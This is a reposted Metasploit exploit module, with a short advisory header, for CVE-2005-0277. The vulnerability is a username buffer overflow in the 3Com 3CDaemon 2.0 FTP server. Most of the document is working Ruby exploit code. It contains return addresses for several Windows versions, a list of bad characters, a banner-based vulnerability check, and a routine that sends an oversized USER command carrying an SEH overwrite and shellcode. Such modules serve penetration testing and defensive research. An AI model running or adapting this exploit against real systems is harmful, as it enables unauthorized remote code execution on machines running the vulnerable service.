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3Com 3CDaemon 2.0 FTP Username Overflow

3Com 3CDaemon 2.0 FTP Username Overflow
Posted Nov 26, 2009
Authored by H D Moore | Site metasploit.com

This Metasploit module exploits a vulnerability in the 3Com 3CDaemon FTP service. This package is being distributed from the 3Com web site and is recommended in numerous support documents. This Metasploit module uses the USER command to trigger the overflow.

tags | exploit, web, overflow
advisories | CVE-2005-0277
SHA-256 | 815045260e465802c35cbda9285c0622bfe5f32298f8df68633b64d3f5a3b2a0

3Com 3CDaemon 2.0 FTP Username Overflow

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##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::Remote::Ftp
include Msf::Exploit::Remote::Seh

def initialize(info = {})
super(update_info(info,
'Name' => '3Com 3CDaemon 2.0 FTP Username Overflow',
'Description' => %q{
This module exploits a vulnerability in the 3Com 3CDaemon
FTP service. This package is being distributed from the 3Com
web site and is recommended in numerous support documents.
This module uses the USER command to trigger the overflow.

},
'Author' => [ 'hdm' ],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2005-0277'],
[ 'OSVDB', '12810'],
[ 'OSVDB', '12811'],
[ 'BID', '12155'],
[ 'URL', 'ftp://ftp.3com.com/pub/utilbin/win32/3cdv2r10.zip'],

],
'Privileged' => false,
'Payload' =>
{
'Space' => 674,
'BadChars' => "\x00~+&=%\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e\x09",
'StackAdjustment' => -3500,
'Compat' =>
{
'ConnectionType' => "-find"
}

},
'Targets' =>
[
[
'Windows 2000 English', # Tested OK - hdm 11/24/2005
{
'Platform' => 'win',
'Ret' => 0x75022ac4, # ws2help.dll
},
],
[
'Windows XP English SP0/SP1',
{
'Platform' => 'win',
'Ret' => 0x71aa32ad, # ws2help.dll
},
],
[
'Windows NT 4.0 SP4/SP5/SP6',
{
'Platform' => 'win',
'Ret' => 0x77681799, # ws2help.dll
},
],
[
'Windows 2000 Pro SP4 French',
{
'Platform' => 'win',
'Ret' => 0x775F29D0,
},
],

],
'DisclosureDate' => 'Jan 4 2005'))
end

def check
connect
disconnect
if (banner =~ /3Com 3CDaemon FTP Server Version 2\.0/)
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end

def exploit
connect

print_status("Trying target #{target.name}...")

buf = rand_text_english(2048, payload_badchars)
seh = generate_seh_payload(target.ret)
buf[229, seh.length] = seh

send_cmd( ['USER', buf] , false )

handler
disconnect
end

end
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